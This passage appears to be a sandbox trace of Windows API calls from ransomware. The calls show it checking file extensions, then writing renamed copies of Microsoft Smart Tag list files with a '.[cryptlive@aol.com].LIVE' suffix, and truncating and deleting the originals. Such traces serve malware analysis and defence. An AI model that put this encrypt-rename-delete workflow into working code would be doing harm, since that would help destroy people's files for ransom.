lpString2="S.XML") returned -1 [0046.641] lstrlenW (lpString=".ppt") returned 4 [0046.641] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.641] lstrlenW (lpString=".zip") returned 4 [0046.641] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.641] lstrlenW (lpString=".rar") returned 4 [0046.641] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString=".bz2") returned 4 [0046.642] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.642] lstrlenW (lpString=".7z") returned 3 [0046.642] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.642] lstrlenW (lpString=".dbf") returned 4 [0046.642] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.642] lstrlenW (lpString=".1cd") returned 4 [0046.642] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.642] lstrlenW (lpString=".jpg") returned 4 [0046.642] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.642] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.642] lstrlenW (lpString="PHONE.XML") returned 9 [0046.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.642] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1844) returned 1 [0046.642] CloseHandle (hObject=0x200) returned 1 [0046.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0046.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.643] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.643] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.643] GetLastError () returned 0x0 [0046.643] ReadFile (in: hFile=0x200, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x734, lpOverlapped=0x0) returned 1 [0046.644] WriteFile (in: hFile=0x160, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x740, lpOverlapped=0x0) returned 1 [0046.645] ReadFile (in: hFile=0x200, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.646] WriteFile (in: hFile=0x160, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.646] SetEndOfFile (hFile=0x160) returned 1 [0046.646] CloseHandle (hObject=0x160) returned 1 [0046.647] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.647] SetEndOfFile (hFile=0x200) returned 1 [0046.648] CloseHandle (hObject=0x200) returned 1 [0046.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.648] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString=".doc") returned 4 [0046.649] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString=".docx") returned 5 [0046.649] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0046.649] lstrlenW (lpString=".pdf") returned 4 [0046.649] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString=".xls") returned 4 [0046.649] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString=".xlsx") returned 5 [0046.649] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0046.649] lstrlenW (lpString=".ppt") returned 4 [0046.649] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString=".zip") returned 4 [0046.649] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.649] lstrlenW (lpString=".rar") returned 4 [0046.649] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString=".bz2") returned 4 [0046.649] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString=".7z") returned 3 [0046.649] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString=".dbf") returned 4 [0046.649] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString=".1cd") returned 4 [0046.649] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString=".jpg") returned 4 [0046.649] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.649] lstrlenW (lpString=".doc") returned 4 [0046.650] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString=".docx") returned 5 [0046.650] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0046.650] lstrlenW (lpString=".pdf") returned 4 [0046.650] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString=".xls") returned 4 [0046.650] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString=".xlsx") returned 5 [0046.650] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0046.650] lstrlenW (lpString=".ppt") returned 4 [0046.650] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.650] lstrlenW (lpString=".zip") returned 4 [0046.650] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.650] lstrlenW (lpString=".rar") returned 4 [0046.650] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString=".bz2") returned 4 [0046.650] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString=".7z") returned 3 [0046.650] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.650] lstrlenW (lpString=".dbf") returned 4 [0046.650] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.650] lstrlenW (lpString=".1cd") returned 4 [0046.650] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0046.650] lstrlenW (lpString=".jpg") returned 4 [0046.650] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.650] lstrcmpiW (lpString1=".DAT", lpString2=".LIVE") returned -1 [0046.650] lstrlenW (lpString="STOCKS.DAT") returned 10 [0046.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.890] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=39017) returned 1 [0046.890] CloseHandle (hObject=0x208) returned 1 [0046.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0046.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.890] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.890] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.891] GetLastError () returned 0x0 [0046.891] ReadFile (in: hFile=0x208, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x9869, lpOverlapped=0x0) returned 1 [0046.893] WriteFile (in: hFile=0x20c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9870, lpOverlapped=0x0) returned 1 [0046.894] ReadFile (in: hFile=0x208, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.894] WriteFile (in: hFile=0x20c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0046.895] SetEndOfFile (hFile=0x20c) returned 1 [0046.895] CloseHandle (hObject=0x20c) returned 1 [0046.898] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.898] SetEndOfFile (hFile=0x208) returned 1 [0046.899] CloseHandle (hObject=0x208) returned 1 [0046.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.900] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0046.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.900] lstrlenW (lpString=".doc") returned 4 [0046.900] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0046.900] lstrlenW (lpString=".docx") returned 5 [0046.900] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0046.900] lstrlenW (lpString=".pdf") returned 4 [0046.900] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0046.900] lstrlenW (lpString=".xls") returned 4 [0046.900] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0046.900] lstrlenW (lpString=".xlsx") returned 5 [0046.900] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0046.900] lstrlenW (lpString=".ppt") returned 4 [0046.900] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0046.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.900] lstrlenW (lpString=".zip") returned 4 [0046.900] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString=".rar") returned 4 [0046.901] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString=".bz2") returned 4 [0046.901] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0046.901] lstrlenW (lpString=".7z") returned 3 [0046.901] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0046.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.901] lstrlenW (lpString=".dbf") returned 4 [0046.901] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.901] lstrlenW (lpString=".1cd") returned 4 [0046.901] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0046.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.901] lstrlenW (lpString=".jpg") returned 4 [0046.901] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.901] lstrlenW (lpString=".doc") returned 4 [0046.901] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString=".docx") returned 5 [0046.901] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0046.901] lstrlenW (lpString=".pdf") returned 4 [0046.901] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString=".xls") returned 4 [0046.901] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString=".xlsx") returned 5 [0046.901] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0046.901] lstrlenW (lpString=".ppt") returned 4 [0046.901] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.901] lstrlenW (lpString=".zip") returned 4 [0046.901] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0046.901] lstrlenW (lpString=".rar") returned 4 [0046.902] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0046.902] lstrlenW (lpString=".bz2") returned 4 [0046.902] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0046.902] lstrlenW (lpString=".7z") returned 3 [0046.902] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0046.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.902] lstrlenW (lpString=".dbf") returned 4 [0046.902] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0046.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.902] lstrlenW (lpString=".1cd") returned 4 [0046.902] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0046.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0046.902] lstrlenW (lpString=".jpg") returned 4 [0046.902] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0046.902] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.902] lstrlenW (lpString="TIME.XML") returned 8 [0046.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.903] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8564) returned 1 [0046.903] CloseHandle (hObject=0x208) returned 1 [0046.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0046.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.903] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.903] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.904] GetLastError () returned 0x0 [0046.904] ReadFile (in: hFile=0x208, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x2174, lpOverlapped=0x0) returned 1 [0046.906] WriteFile (in: hFile=0x20c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0046.907] ReadFile (in: hFile=0x208, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.907] WriteFile (in: hFile=0x20c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0046.907] SetEndOfFile (hFile=0x20c) returned 1 [0046.907] CloseHandle (hObject=0x20c) returned 1 [0046.908] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.908] SetEndOfFile (hFile=0x208) returned 1 [0046.909] CloseHandle (hObject=0x208) returned 1 [0046.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.909] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0046.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.909] lstrlenW (lpString=".doc") returned 4 [0046.909] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString=".docx") returned 5 [0046.910] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0046.910] lstrlenW (lpString=".pdf") returned 4 [0046.910] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString=".xls") returned 4 [0046.910] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString=".xlsx") returned 5 [0046.910] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0046.910] lstrlenW (lpString=".ppt") returned 4 [0046.910] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.910] lstrlenW (lpString=".zip") returned 4 [0046.910] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.910] lstrlenW (lpString=".rar") returned 4 [0046.910] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString=".bz2") returned 4 [0046.910] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString=".7z") returned 3 [0046.910] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.910] lstrlenW (lpString=".dbf") returned 4 [0046.910] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.910] lstrlenW (lpString=".1cd") returned 4 [0046.910] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.910] lstrlenW (lpString=".jpg") returned 4 [0046.910] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.910] lstrlenW (lpString=".doc") returned 4 [0046.910] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.910] lstrlenW (lpString=".docx") returned 5 [0046.911] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0046.911] lstrlenW (lpString=".pdf") returned 4 [0046.911] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString=".xls") returned 4 [0046.911] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString=".xlsx") returned 5 